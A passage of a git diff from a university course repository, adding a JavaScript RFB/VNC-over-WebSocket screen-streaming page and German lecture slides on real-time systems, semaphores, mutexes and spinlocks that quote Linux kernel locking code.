+                id1 = ctx1.getImageData (x, y, w, h);
+                px1 = new Uint32Array (id1.data.buffer);
+              }
+          }
+        while (rects.length == 0);
+      }
+
+      function rfbReceivePixelFormat (buffer, offset)
+      {
+        if (debugging)
+          console.log ("received: SetPixelFormat");
+        const b = new Uint8Array (buffer);
+        rfb_bits_per_pixel = b[4];
+        rfb_depth = b[5];
+        rfb_big_endian_flag = b[6];
+        rfb_true_color_flag = b[7];
+        rfb_red_maximum = b[8] << 8 + b[9];
+        rfb_green_maximum = b[10] << 8 + b[11];
+        rfb_blue_maximum = b[12] << 8 + b[13];
+        rfb_red_shift = b[14];
+        rfb_green_shift = b[15];
+        rfb_blue_shift = b[16];
+        return 20;
+      }
+
+      function rfbReceiveEncodings (buffer, offset)
+      {
+        if (debugging)
+          console.log ("received: SetEncodings");
+        const b = new Uint8Array (buffer);
+        const encodings = b[offset + 2] << 8 + b[offset + 3];
+        return 4 + 4 * encodings;
+      }
+
+      function rfbAbort ()
+      {
+        if (debugging)
+          console.log ("Aborting RFB transmission ...");
+        processing += rfb_aborted;
+      }
+
+      async function rfbFramebufferUpdateRequest (buffer, offset)
+      {
+        if (debugging)
+          console.log ("received: FramebufferUpdateRequest");
+        if (processing)
+          {
+//            if (debugging)
+              if (processing >= rfb_aborted)
+                console.log ("aborted");
+              else
+                console.log ("already being processed");
+          }
+        else
+          {
+            processing++;
+            let b = new Uint8Array (buffer);
+            let isIncremental = b[1];
+            const x = b[2] * 256 + b[3];
+            const y = b[4] * 256 + b[5];
+            const w = b[6] * 256 + b[7];
+            const h = b[8] * 256 + b[9];
+            if (debugging)
+              {
+                console.log ("FramebufferUpdateRequest: Initiating processing ...");
+                console.log ("wScreen = ", wScreen, ", hScreen = ", hScreen + ", w = ", w, ", h = ", h);
+              }
+            rects.length = 0;
+            if (processing < rfb_aborted)
+              {
+                if (isFirstFrame)
+                  {
+                    await rfbFramebufferUpdate (0, 0, 0, wScreen, hScreen);
+                    isFirstFrame = 0;
+                  }
+                else if (isIncremental)
+                  await rfbFramebufferUpdate (1, x, y, w, h);
+                else
+                  await rfbFramebufferUpdate (0, x, y, w, h);
+                if (debugging)
+                  console.log ("FramebufferUpdateRequest: Processing completed. Sending data ... ("
+                               + rects.length.toString ()
+                               + " rectangle" + (rects.length != 1 ? "s" : "") + ")");
+                const header_buffer = new ArrayBuffer (4);
+                b = new Uint8Array (header_buffer);
+                const num_rects = rects.length;
+                b[0] = 0;
+                b[1] = rfb_padding;
+                b[2] = num_rects >>> 8;
+                b[3] = num_rects & 0xff;
+                if (debugging)
+                  console.log ("sending rfbFramebufferUpdate header: " + buf2hex (header_buffer));
+                socket.send (header_buffer);
+                rects.forEach (
+                  function sendIt (r)
+                  {
+                    r.send ();
+                  });
+              }
+            processing--;
+          }
+        return 10;
+      }
+
+      function rfbReceiveKeyEvent (buffer, offset)
+      {
+        if (debugging)
+          console.log ("received: KeyEvent");
+        return 8;
+      }
+
+      function rfbReceivePointerEvent (buffer, offset)
+      {
+        if (debugging)
+          console.log ("received: PointerEvent");
+        return 6;
+      }
+
+      function rfbReceiveCutText (buffer, offset)
+      {
+        if (debugging)
+          console.log ("received: ClientCutText");
+        const b = new Uint8Array (buffer);
+        const length = b[offset + 4] << 24 + b[offset + 5] << 16 + b[offset + 6] << 8 + b[offset + 7];
+        return 8 + length;
+      }
+
+      function rfbServer (event)
+      {
+        if (debugging)
+          console.log ("received: " + buf2hex (event.data));
+        const b = new Uint8Array (event.data);
+        let offset = 0;
+        while (offset < event.data.byteLength)
+          {
+            if (debugging)
+              console.log ("received RFB packet type " + b[offset].toString ());
+            if (b[offset] == 0)
+              offset += rfbReceivePixelFormat (event.data, offset);
+            else if (b[offset] == 2)
+              offset += rfbReceiveEncodings (event.data, offset);
+            else if (b[offset] == 3)
+              offset += rfbFramebufferUpdateRequest (event.data, offset);
+            else if (b[offset] == 4)
+              offset += rfbReceiveKeyEvent (event.data, offset);
+            else if (b[offset] == 5)
+              offset += rfbReceivePointerEvent (event.data, offset);
+            else if (b[offset] == 6)
+              offset += rfbReceiveCutText (event.data, offset);
+            else
+              {
+                if (debugging)
+                  console.log ("unknown RFB packet");
+                offset = event.data.byteLength;
+              }
+          }
+      }
+
+      function rfbFramebufferHandshake (event)
+      {
+        if (debugging)
+          console.log ("received: " + buf2hex (event.data));
+        socket.removeEventListener ("message", rfbFramebufferHandshake);
+        socket.addEventListener ("message", rfbServer);
+        const buffer = new ArrayBuffer (24 + rfb_name_length);
+        const b = new Uint8Array (buffer);
+        b[0] = wScreen >>> 8;
+        b[1] = wScreen & 0xff;
+        b[2] = hScreen >>> 8;
+        b[3] = hScreen & 0xff;
+        b[4] = rfb_bits_per_pixel;
+        b[5] = rfb_depth;
+        b[6] = rfb_big_endian_flag;
+        b[7] = rfb_true_color_flag;
+        b[8] = rfb_red_maximum >>> 8;
+        b[9] = rfb_red_maximum & 0xff;
+        b[10] = rfb_green_maximum >>> 8;
+        b[11] = rfb_green_maximum & 0xff;
+        b[12] = rfb_blue_maximum >>> 8;
+        b[13] = rfb_blue_maximum & 0xff;
+        b[14] = rfb_red_shift;
+        b[15] = rfb_green_shift;
+        b[16] = rfb_blue_shift;
+        b[17] = rfb_padding;
+        b[18] = rfb_padding;
+        b[19] = rfb_padding;
+        b[20] = rfb_name_length >>> 24;
+        b[21] = rfb_name_length >>> 16;
+        b[22] = rfb_name_length >>> 8;
+        b[23] = rfb_name_length & 0xff;
+        for (let i = 0; i < rfb_name_length; i++)
+          b[24 + i] = rfb_name[i];
+        if (debugging)
+          console.log ("sending framebuffer parameters: " + buf2hex (buffer));
+        socket.send (buffer);
+      }
+
+      function rfbAuthenticate (event)
+      {
+        if (debugging)
+          console.log ("received: " + buf2hex (event.data));
+        socket.removeEventListener ("message", rfbAuthenticate);
+        socket.addEventListener ("message", rfbFramebufferHandshake);
+        if (debugging)
+          console.log ("sending: 00 00 00 00");
+        const buffer = new ArrayBuffer (4);
+        const b = new Uint8Array (buffer);
+        b[0] = 0;
+        b[1] = 0;
+        b[2] = 0;
+        b[3] = 0;
+        socket.send (buffer);
+      }
+
+      function rfbSecurityHandshake (event)
+      {
+        if (debugging)
+          console.log ("received: " + buf2hex (event.data));
+        socket.removeEventListener ("message", rfbSecurityHandshake);
+        socket.addEventListener ("message", rfbAuthenticate);
+        if (debugging)
+          console.log ("sending: 01 01");
+        const buffer = new ArrayBuffer (2);
+        const b = new Uint8Array (buffer);
+        b[0] = 1;
+        b[1] = 1;
+        socket.send (buffer);
+      }
+
+      function rfbConnect (event)
+      {
+        socket.addEventListener ("message", rfbSecurityHandshake);
+        if (debugging)
+          console.log ("sending: RFB 003.008\\n");
+        socket.send ("RFB 003.008\n");
+      }
+
+      document.addEventListener ("DOMContentLoaded",
+        function ()
+        {
+          video.addEventListener ("play",
+            function ()
+            {
+              wScreen = video.videoWidth;
+              hScreen = video.videoHeight;
+              canvas1.width = wScreen;
+              canvas1.height = hScreen;
+              ctx1 = canvas1.getContext ("2d");
+              canvas0.width = wScreen;
+              canvas0.height = hScreen;
+              ctx0 = canvas0.getContext ("2d");
+              ctx0.beginPath ();
+              ctx0.rect (0, 0, wScreen, hScreen);
+              ctx0.fillStyle = "black";
+              ctx0.fill ();
+              if (debugging)
+                console.log ("Opening WebSocket ...");
+              socket = new WebSocket ("wss://streaming.cvh-server.de/websock/wc-6/", ['binary', 'base64']);
+              socket.binaryType = "arraybuffer";
+              socket.addEventListener ("open", rfbConnect);
+            },
+            false);
+          video.addEventListener ("abort", rfbAbort, false);
+          video.addEventListener ("emptied", rfbAbort, false);
+          video.addEventListener ("ended", rfbAbort, false);
+          video.addEventListener ("error", rfbAbort, false);
+          video.addEventListener ("pause", rfbAbort, false);
+          video.addEventListener ("stalled", rfbAbort, false);
+//          video.addEventListener ("suspend", rfbAbort, false);
+        });
+
+    </script>
+  </body>
+</html>
diff --git a/20210625/bs-20210625.pdf b/20210625/bs-20210625.pdf
new file mode 100644
index 0000000000000000000000000000000000000000..0fe477fbd343c6ae3c99907c00f3f875ae734299
Binary files /dev/null and b/20210625/bs-20210625.pdf differ
diff --git a/20210625/bs-20210625.tex b/20210625/bs-20210625.tex
new file mode 100644
index 0000000000000000000000000000000000000000..16870ce4950e9d5bf3dcb55b115e7daaccb80ffc
--- /dev/null
+++ b/20210625/bs-20210625.tex
@@ -0,0 +1,1498 @@
+% bs-20110625.pdf - Lecture Slides on Operating Systems
+% Copyright (C) 2014, 2015, 2016, 2017, 2018, 2019, 2020, 2021  Peter Gerwinski
+%
+% This document is free software: you can redistribute it and/or
+% modify it either under the terms of the Creative Commons
+% Attribution-ShareAlike 3.0 License, or under the terms of the
+% GNU General Public License as published by the Free Software
+% Foundation, either version 3 of the License, or (at your option)
+% any later version.
+%
+% This document is distributed in the hope that it will be useful,
+% but WITHOUT ANY WARRANTY; without even the implied warranty of
+% MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+% GNU General Public License for more details.
+%
+% You should have received a copy of the GNU General Public License
+% along with this document.  If not, see <http://www.gnu.org/licenses/>.
+%
+% You should have received a copy of the Creative Commons
+% Attribution-ShareAlike 3.0 Unported License along with this
+% document.  If not, see <http://creativecommons.org/licenses/>.
+
+\documentclass[10pt,t]{beamer}
+
+\usepackage{pgslides}
+\usepackage{rotating}
+\usepackage{pdftricks}
+\usepackage[obeyfamily=false,mathrm=mathsf,textrm=sffamily]{siunitx}
+\usepackage{eurosym}
+\usepackage{tikz}
+
+\begin{psinputs}
+  \usepackage[latin1]{inputenc}
+  \usepackage[german]{babel}
+  \usepackage[T1]{fontenc}
+  \usepackage{helvet}
+  \renewcommand*\familydefault{\sfdefault}
+  \usepackage{pstricks}
+  \psset{unit=1cm}
+\end{psinputs}
+
+\title{Treiberentwicklung,\\[\medskipamount]Echtzeit- und Betriebssysteme}
+\author{Prof.\ Dr.\ rer.\ nat.\ Peter Gerwinski}
+\date{25.\ Juni 2021}
+
+\begin{document}
+
+\newlength{\normalpdfpageheight}
+\setlength{\normalpdfpageheight}{\pdfpageheight}
+
+\maketitleframe
+
+\setcounter{section}{3}
+\section{Echtzeit}
+\subsection{Was ist Echtzeit?}
+
+\begin{frame}
+
+  \showsection
+  \vspace{-\smallskipamount}
+  \showsubsection
+
+  \begin{itemize}
+    \item
+      Animation in Echtzeit:\\
+      schnelle Berechnung anstatt Wiedergabe einer Aufzeichnung
+    \item
+      Fantasy-Rollenspiel in Echtzeit:\\
+      Der Zeitverlauf der Spielwelt entspricht dem der realen Welt.
+    \item
+      Datenverarbeitung in Echtzeit:\\
+      Die Daten werden so schnell verarbeitet, wie sie anfallen.
+    \item
+      speziell: Echtzeit-Steuerung von Maschinen:\\
+      Die Berechnung kann mit den physikalischen Vorgängen schritthalten.
+    \smallskip
+    \arrowitem
+      "`Schnell genug."'
+  \end{itemize}
+  
+\end{frame}
+
+\begin{frame}
+
+  \showsubsection
+
+  "`Schnell genug."' -- "`Und wenn nicht?"'
+
+  \begin{itemize}
+    \item
+      "`Ganz schlecht."' \textarrow\ \newterm{harte Echtzeit}\\[2pt]
+    rechtzeitiges Ergebnis funktionsentscheidend
+
+    \smallskip
+
+    \item
+      "`Unschön."' \textarrow\ \newterm{weiche Echtzeit}\\[2pt]
+      verspätetes Ergebnis qualitätsmindernd
+      \begin{itemize}
+        \baselineskip14pt\par
+        \item
+          verwenden und Verzögerung in Kauf nehmen
+        \item
+          verwerfen und Ausfall in Kauf nehmen
+      \end{itemize}
+
+    \smallskip
+
+    \item
+      "`Es gibt keinen festen Termin. Möglichst schnell halt."'\\[2pt]
+      \textarrow\ \newterm{keine Echtzeit}
+  \end{itemize}
+
+\end{frame}
+
+\begin{frame}[fragile]
+
+  \showsubsection
+
+  Das Problem:
+  \vspace{-\bigskipamount}
+  \begin{center}
+%    \begin{picture}(6,2)
+%      \put(3,2){\makebox(0,0)[t]{Harte Echtzeitanforderungen}}
+%      \put(3,0){\makebox(0,0)[b]{Ressourcen optimal nutzen}}
+%      \put(2.75,0.875){\vector(1,3){0.25}}
+%      \put(2.75,0.875){\line(2,1){0.5}}
+%      \put(3.25,1.125){\vector(-1,-3){0.25}}
+%    \end{picture}
+    \begin{pdfpic}
+      \begin{pspicture}(6,2)
+        \put(3,2){\makebox(0,0)[t]{Harte Echtzeitanforderungen}}
+        \put(3,0){\makebox(0,0)[b]{Ressourcen optimal nutzen}}
+        \psline[arrows=<->](3,0.4)(3.2,1.125)(2.8,0.875)(3,1.6)
+      \end{pspicture}
+    \end{pdfpic}
+  \end{center}
+
+  Beispiel:
+  \begin{itemize}
+    \item
+      Eine Motorsteuerung benötigt alle \SI{2000}{\mics} einen Steuerimpuls,\\
+      dessen Berechnung maximal \SI{10}{\mics} dauert.
+    \item
+      Entweder: Der Steuer-Computer macht noch andere Dinge.\\
+      \textarrow\ Risiko der Zeitüberschreitung
+    \item
+      Oder: Der Steuer-Computer macht nichts anderes.\\
+      \textarrow\ Verschwendung von Rechenzeit\\
+      {\color{red}\textarrow\ Na und?}
+  \end{itemize}
+
+\end{frame}
+
+\begin{frame}[fragile]
+
+  \showsubsection
+
+  Das Problem:
+  \vspace{-\bigskipamount}
+  \begin{center}
+    \begin{pdfpic}
+      \begin{pspicture}(6,2)
+        \put(3,2){\makebox(0,0)[t]{Harte Echtzeitanforderungen}}
+        \put(3,0){\makebox(0,0)[b]{Ressourcen optimal nutzen}}
+        \psline[arrows=<->](3,0.4)(3.2,1.125)(2.8,0.875)(3,1.6)
+      \end{pspicture}
+    \end{pdfpic}
+  \end{center}
+
+  \medskip
+
+  {\large\color{structure}\textbf{"`Verschwendung von Rechenzeit -- na und?"'}}
+
+  \medskip
+
+  Große Stückzahlen
+  \begin{itemize}
+    \item
+      138\,000 Toyota Prius V von Mai 2011 bis April 2012
+  \end{itemize}
+
+  \medskip
+
+  Wertvolle Ressourcen
+  \begin{itemize}
+    \item
+      Fähigkeiten einer Raumsonde optimieren
+      % (Marsumlaufbahn: ab ca.~127\,000 Euro pro kg)
+      % 70000000 / 550000 = 127._27
+      % http://www.bernd-leitenberger.de/blog/2009/09/29/reduktion-der-kosten-von-planetenmissionen/
+      % \only<.(1)>{\\[\bigskipamount]\strut\hfill\makebox(0,0)[r]{\includegraphics[height=3.5cm]{curiosity.jpg}}\vspace*{-1cm}}
+    \item
+      Implantat: Platz- und Stromverbrauch minimieren
+      % \only<.(1)>{\\[\smallskipamount]\strut\hfill\makebox(0,0)[r]{\includegraphics[height=3.4cm]{herzschrittmacher.jpg}}\vspace*{-1cm}}
+  \end{itemize}
+
+  \bigskip
+
+  \textarrow\ {\large\color{structure}\textbf{Echtzeitprogrammierung}}\\[2pt]
+  \strut \phantom{\textarrow} Echtzeitanforderungen erfüllen, ohne Ressourcen zu verschwenden
+
+\end{frame}
+
+\subsection{Multitasking}
+
+\begin{frame}
+
+  \showsection
+  \showsubsection
+
+  \begin{minipage}[t]{6cm}
+    Qualitätssicherung beim Multitasking
+    \begin{itemize}
+      \item
+        Verschiedene Anforderungen:
+        \newterm{Latenz\/} vs.\ \newterm{Jitter\/}\\
+        vs.\ \newterm{Durchsatz}
+      \item
+        Ressourcen reservieren:\\
+        \newterm{Mutexe}
+        (= spezielle \newterm{Semaphore\/})\\
+        \strut
+      \item
+        Verschiedene Methoden\\
+        der Priorisierung\\
+        \strut
+      \item
+        Umgehung der Probleme durch
+        speziell geschriebene Software\\
+        (MultiWii, RP6, \dots)
+    \end{itemize}
+  \end{minipage}
+  \hfill
+  \begin{minipage}[t]{6.2cm}
+    Qualitätssicherung für Netzwerke:
+    \begin{itemize}
+      \item
+        Verschiedene Anforderungen:
+        \newterm{Latenz\/} vs.\ \newterm{Jitter\/} vs.\ \newterm{Verluste\/}\\vs.\ \newterm{Durchsatz}
+      \item
+        Ressourcen reservieren:\\
+        \newterm{IntServ} mit \newterm{Resource Reservation Protocol (RSVP)}
+      \item
+        Klassifizierung und Priorisierung:
+        \newterm{DiffServ} mit Type-of-Service-Bits (IPv4)
+        bzw.\ Traffic-Class-Bits (IPv6) im IP-Header
+      \item
+        Eigenes Protokoll (Telefondienste):\\
+        \newterm{Asynchronous Transfer Mode (ATM)}
+    \end{itemize}
+  \end{minipage}
+
+\end{frame}
+
+% Aufgabe: Anwendungsarten im MultiWii- und RP6-Code identifizieren
+
+% evtl. Aufgabe: Warte-Problem
+
+% Aufgabe: Wie lösen bekannte Multitasking-Betriebssysteme
+% das o.a. Zuteilungsproblem?
+
+% Danach: Semaphoren, Mutexe, Spinlocks
+% Priorisierungsmethoden und -probleme
+
+\subsectionnonumber{Beispiele für Multitasking}
+
+\begin{frame}
+
+  \showsubsectionnonumber
+
+  Quadrocopter-Steuerung \emph{MultiWii}
+  \begin{itemize}
+    \item
+      Konfiguration durch bedingte Compilierung (Präprozessor)
+    \item
+      In der Hauptschleife wird 50mal pro Sekunde der RC-Task aufgerufen,\\
+      ansonsten zyklisch einer von bis zu 5 weiteren Tasks.
+  \end{itemize}
+
+  RP6-Steuerung
+  \begin{itemize}
+    \item
+      Konfiguration durch bedingte Compilierung (Präprozessor)
+    \item
+      Lichtschranken an Encoder-Scheiben lösen bei Bewegung Interrupts aus.\\
+      Die Interrupt-Handler zählen Variable hoch.
+    \item
+      10000mal pro Sekunde: Timer-Interrupt\\
+      verschiedene Tasks werden unterschiedlich häufig aufgerufen
+    \item
+      Nebenbei: 1 Benutzerprogramm
+  \end{itemize}
+
+  Linux 0.01
+  \begin{itemize}
+    \item
+      Timer-Interrupt:\only<2->{ Zähler des aktuellen Tasks wird dekrementiert;}\\
+      Task mit höchstem Zähler bekommt Rechenzeit.
+    \item
+      Wenn es keinen laufbereiten Task mit positivem Zähler gibt,\\
+      bekommen alle Tasks gemäß ihrer Priorität neue Zähler zugewiesen.
+    \item<3->
+      \emph{keine\/} harte Echtzeit
+      % Aufgabe: Wo wird der Zähler heruntergezählt?
+  \end{itemize}
+
+\end{frame}
+
+\iffalse
+
+\subsectionnonumber{Zombies}
+
+\begin{frame}
+
+  \showsubsectionnonumber
+
+  \pause
+  Wikipedia:
+  \begin{quote}
+    Als Zombie wird die fiktive Figur eines zum Leben erweckten
+    Toten (Untoter) oder eines seiner Seele beraubten, willenlosen
+    Wesens bezeichnet. Der Begriff leitet sich von dem Wort nzùmbe
+    aus der zentralafrikanischen Sprache Kimbundu ab und bezeichnet
+    dort ursprünglich einen Totengeist.
+  \end{quote}
+
+  \bigskip
+
+  \pause
+  Ein Zombie-Prozeß ist bereits beendet ("`tot"'),\\
+  bekommt keine Rechenzeit mehr ("`seiner Seele beraubt"'),\\
+  hat alle belegten Ressourcen wieder freigegeben ("`willenlos"'),\\
+  wird aber noch in der Prozeßliste geführt ("`untot"').
+  \begin{itemize}
+    \pause
+    \item
+      Warum?
+      \textarrow\
+      Ein anderer Prozeß (Elternprozeß) wartet noch auf den
+      Rückgabewert des beendeten Prozesses.
+    \pause
+    \item
+      Schadet das?
+      \textarrow\
+      Nein.
+    \pause
+    \item
+      Aber?
+      \textarrow\
+      Wenn sich Zombie-Prozesse anhäufen, deutet dies auf einen
+      Prozeß hin, der andere Prozesse erzeugt und anschließend "`hängt"'.
+    \pause
+    \item
+      Beispiel:
+      Datenträger entfernt, zugreifender Prozeß "`hängt"'.\\
+      \textarrow\
+      Tochterprozesse werden zu Zombies.
+  \end{itemize}
+
+\end{frame}
+
+\fi
+
+\subsection{Ressourcen}
+
+\begin{frame}
+
+  \showsection
+  \showsubsection
+
+  Ressourcen reservieren
+  \begin{itemize}
+    \item
+      \newterm{Semaphor}\\
+      gemeinsame Variable mehrerer Prozesse\\
+      zur Regelung des Zugriffs auf eine Ressource\\[\smallskipamount]
+      Ressource belegt \textarrow\ Kontextwechsel
+      \begin{onlyenv}<1>
+        \par\medskip
+        griechisch: \emph{sema\/} -- Zeichen, \emph{pherein\/} -- tragen\\
+        "`Eisenbahnsignal"'
+        \vspace*{-3cm}
+      \end{onlyenv}
+    \pause
+    \medskip
+    \item
+      \newterm{Mutex}\\
+      Mechanismus, damit immer nur ein Prozeß gleichzeitig\\
+      auf eine Ressource zugreifen kann
+      \begin{onlyenv}<2>
+        \par\medskip
+        englisch: \emph{mutual exclusion\/} -- wechselseitiger Ausschluß\\
+        spezieller binärer Semaphor: nur "`Besitzer"' darf freigeben\\
+        % allgemein: auch jemand anderer dürfte freigeben
+        \vspace*{-3cm}
+      \end{onlyenv}
+    \pause
+    \medskip
+    \item
+      \newterm{Spinlock} (\emph{busy waiting\/})\\
+      leichtgewichtige Alternative zu Kontextwechsel
+      \begin{onlyenv}<3>
+        \par\medskip
+        englisch: \emph{spin\/} -- rotieren, \emph{lock\/} Sperre\\
+        \emph{busy waiting} auf etwas Schnelles, z.\,B.\ auf einen Semaphor\\[\medskipamount]
+        Hardware-Unterstützung:
+        Prüfen, ob Variable bestimmten Wert hat;\\
+        wenn ja, auf anderen Wert setzen; andere Prozessoren solange anhalten
+        \vspace*{-3cm}
+      \end{onlyenv}
+    \pause
+    \medskip
+    \item
+      \newterm{Kritischer Abschnitt -- critical section}\\
+      Programmabschnitt zwischen Reservierung\\
+      und Freigabe einer Ressource\\
+      \textarrow\ sollte immer so kurz wie möglich sein
+      \vspace*{-1cm}
+  \end{itemize}
+
+\end{frame}
+
+\begin{frame}
+
+  \showsection
+  \showsubsection
+
+  Ressourcen reservieren: Beispiele
+  \begin{itemize}
+    \item
+      \newterm{Semaphor}\\
+      \file{linux-3.7-rc1/kernel/semaphor.c}\\
+      \file{linux-3.7-rc1/drivers/usb/core/file.c}
+    \medskip
+    \item
+      \newterm{Mutex}\\
+      \file{linux-3.7-rc1/kernel/mutex.c}\\
+      \file{linux-3.7-rc1/drivers/usb/serial/usb-serial.c}
+    \medskip
+    \item
+      \newterm{Spinlock}\\
+      \file{linux-3.7-rc1/kernel/spinlock.c}\\
+      \file{linux-3.7-rc1/kernel/semaphor.c},
+      \file{linux-3.7-rc1/kernel/mutex.c}
+  \end{itemize}
+
+  % Aufgabe: Anwendungsarten im MultiWii- und RP6-Code identifizieren
+
+  % evtl. Aufgabe: Warte-Problem
+
+  % Aufgabe: Wie lösen bekannte Multitasking-Betriebssysteme
+  % das o.a. Zuteilungsproblem?
+
+  % Danach: Semaphoren, Mutexe, Spinlocks
+  % Priorisierungsmethoden und -probleme
+
+  % Festplatten: completely fair queueing
+  % cat /sys/block/sdc/queue/scheduler
+  % "noop" hat sich für SVG gelohnt
+
+  % Virtualisierung + Kernel-Threads + Multiprozessorsystem = Chaos
+
+\end{frame}
+
+\begin{frame}[fragile]
+
+  \textbf{Beispiel:}
+  \lstinline{usb_serial_get_by_index()} -- serielle Schnittstelle reservieren
+
+  Datei \file{linux-3.7-rc1/drivers/usb/serial/usb-serial.c}, ab Zeile 62
+
+  \medskip
+
+  \begin{lstlisting}
+    struct usb_serial *usb_serial_get_by_index (unsigned index)
+    {
+      struct usb_serial *serial;
+      mutex_lock (&table_lock);
+      serial = serial_table[index];
+      if (serial)
+        {
+          mutex_lock (&serial->disc_mutex);
+          if (serial->disconnected)
+            {
+              mutex_unlock (&serial->disc_mutex);
+              serial = NULL;
+            }
+          else
+            kref_get (&serial->kref);
+        }
+      mutex_unlock (&table_lock);
+      return serial;
+    }
+  \end{lstlisting}
+  \begin{picture}(0,0)
+    \color{red}
+    \put(5.1,6.85){\vector(-1,0){0.5}}
+    \put(5.2,6.85){\makebox(0,0)[l]{exklusiven Zugriff auf Tabelle sichern}}
+    \put(5.4,1.35){\vector(-1,0){0.5}}
+    \put(5.5,1.35){\makebox(0,0)[l]{\shortstack[l]{exklusiven Zugriff auf Tabelle\\wieder freigeben}}}
+  \end{picture}
+
+\end{frame}
+
+\setlength{\pdfpageheight}{48cm}
+
+\begin{frame}[fragile]
+
+  \lstinline{mutex_lock()} -- Ressource beanspruchen, notfalls warten
+
+  Datei \file{linux-3.7-rc1/drivers/usb/serial/usb-serial.c}, ab Zeile 62
+
+  \medskip
+
+  \begin{lstlisting}
+    void __sched mutex_lock (struct mutex *lock)
+    {
+      might_sleep ();
+      __mutex_fastpath_lock (&lock->count, __mutex_lock_slowpath);
+      mutex_set_owner (lock);
+    }
+  \end{lstlisting}
+  \begin{picture}(0,0)
+    \color{red}
+    \put(11.6,1.35){\line(-1,0){1}}
+    \put(11.6,1.35){\line(0,-1){2.45}}
+    \put(11.6,-1.10){\vector(-1,0){2.0}}
+  \end{picture}
+
+  \bigskip
+
+  Datei \file{linux-3.7-rc1/arch/x86/include/asm/mutex\_32.h}, ab Zeile 24
+
+  Macro-Definition für \lstinline{__mutex_fastpath_lock} (expandiert)
+
+  \medskip
+
+  Assembler:
+  \begin{lstlisting}[language={[x86masm]Assembler}]
+        lock dec (lock->count)
+        jns 1
+        call __mutex_lock_slowpath
+    1:
+  \end{lstlisting}
+  \begin{picture}(0,0)
+    \color{red}
+    \put(9,0.95){\line(-1,0){3.5}}
+    \put(9,0.95){\line(0,-1){2.5}}
+    \put(9.0,-1.55){\vector(-1,0){1.0}}
+  \end{picture}
+
+  \bigskip
+
+  Datei \file{linux-3.7-rc1/kernel/mutex.c}, ab Zeile 398
+
+  \medskip
+
+  \begin{lstlisting}
+    static __used noinline void __sched
+      __mutex_lock_slowpath (atomic_t *lock_count)
+    {
+      struct mutex *lock = container_of (lock_count, struct mutex, count);
+      __mutex_lock_common (lock, TASK_UNINTERRUPTIBLE, 0,
+                               NULL, _RET_IP_);
+    }
+  \end{lstlisting}
+  \begin{picture}(0,0)
+    \color{red}
+    \put(11.0,1.40){\line(-1,0){1.0}}
+    \put(11.0,1.40){\vector(0,-1){2.5}}
+  \end{picture}
+
+  \bigskip
+
+  Datei \file{linux-3.7-rc1/kernel/mutex.c}, ab Zeile 132
+
+  \medskip
+
+  \begin{lstlisting}
+    static inline int __sched
+    __mutex_lock_common (struct mutex *lock, long state, unsigned int subclass,
+                             struct lockdep_map *nest_lock, unsigned long ip)
+    {
+      struct task_struct *task = current;
+      struct mutex_waiter waiter;
+      unsigned long flags;
+
+      preempt_disable ();
+      mutex_acquire_nest (&lock->dep_map, subclass, 0, nest_lock, ip);
+
+      /* ... */
+
+      spin_lock_mutex (&lock->wait_lock, flags);
+
+      debug_mutex_lock_common (lock, &waiter);
+      debug_mutex_add_waiter (lock, &waiter, task_thread_info (task));
+
+      /* add waiting tasks to the end of the waitqueue (FIFO): */
+      list_add_tail (&waiter.list, &lock->wait_list);
+      waiter.task = task;
+
+      if (atomic_xchg (&lock->count, -1) == 1)
+        goto done;
+
+      lock_contended (&lock->dep_map, ip);
+
+      for (;;)
+        {
+          /*
+           * Lets try to take the lock again - this is needed even if
+           * we get here for the first time (shortly after failing to
+           * acquire the lock), to make sure that we get a wakeup once
+           * it's unlocked. Later on, if we sleep, this is the
+           * operation that gives us the lock. We xchg it to -1, so
+           * that when we release the lock, we properly wake up the
+           * other waiters:
+           */
+          if (atomic_xchg (&lock->count, -1) == 1)
+            break;
+
+          /*
+           * got a signal? (This code gets eliminated in the
+           * TASK_UNINTERRUPTIBLE case.)
+           */
+          if (unlikely (signal_pending_state (state, task)))
+            {
+              mutex_remove_waiter (lock, &waiter, task_thread_info (task));
+              mutex_release (&lock->dep_map, 1, ip);
+              spin_unlock_mutex (&lock->wait_lock, flags);
+
+              debug_mutex_free_waiter (&waiter);
+              preempt_enable ();
+              return -EINTR;
+            }
+          __set_task_state (task, state);
+
+          /* didn't get the lock, go to sleep: */
+          spin_unlock_mutex (&lock->wait_lock, flags);
+          schedule_preempt_disabled ();
+          spin_lock_mutex (&lock->wait_lock, flags);
+        }
+
+    done:
+      lock_acquired (&lock->dep_map, ip);
+      /* got the lock - rejoice! */
+      mutex_remove_waiter (lock, &waiter, current_thread_info ());
+      mutex_set_owner (lock);
+
+      /* set it to 0 if there are no waiters left: */
+      if (likely (list_empty (&lock->wait_list)))
+        atomic_set (&lock->count, 0);
+
+      spin_unlock_mutex (&lock->wait_lock, flags);
+
+      debug_mutex_free_waiter (&waiter);
+      preempt_enable ();
+
+      return 0;
+    }
+  \end{lstlisting}
+  \begin{picture}(0,0)
+    \color{red}
+    \put(7.9,28.3){\vector(-1,0){0.5}}
+    \put(8.0,28.3){\makebox(0,0)[l]{\shortstack[l]{exklusiven Zugriff\\auf Mutex sichern}}}
+    \put(7.4,2.3){\vector(-1,1){0.4}}
+    \put(7.5,2.0){\makebox(0,0)[l]{\shortstack[l]{exklusiven Zugriff auf Mutex\\wieder freigeben}}}
+  \end{picture}
+
+\end{frame}
+
+\setlength{\pdfpageheight}{50.5cm}
+
+\begin{frame}[fragile]
+
+  \lstinline{spin_lock_mutex()} -- Mutex beanspruchen, notfalls \emph{busy waiting}
+
+  Datei \file{linux-3.7-rc1/kernel/mutex.h}, ab Zeile 12
+
+  \medskip
+
+  \begin{lstlisting}
+    #define spin_lock_mutex(lock, flags) \
+      do \
+        { \
+          spin_lock (lock); \
+          (void) (flags); \
+        } \
+      while (0)
+  \end{lstlisting}
+  \begin{picture}(0,0)
+    \color{red}
+    \put(8.5,1.75){\line(-1,0){4.5}}
+    \put(8.5,1.75){\line(0,-1){2.9}}
+    \put(8.5,-1.15){\vector(-1,0){1.0}}
+  \end{picture}
+
+  \bigskip
+
+  Datei \file{linux-3.7-rc1/kernel/spinlock.h}, ab Zeile 283
+
+  \medskip
+
+  \begin{lstlisting}
+    static inline void spin_lock (spinlock_t *lock)
+    {
+      raw_spin_lock (&lock->rlock);
+    }
+  \end{lstlisting}
+  \begin{picture}(0,0)
+    \color{red}
+    \put(9.3,0.95){\line(-1,0){4.0}}
+    \put(9.3,0.95){\line(0,-1){2.1}}
+    \put(9.3,-1.15){\vector(-1,0){1.0}}
+  \end{picture}
+
+  \bigskip
+
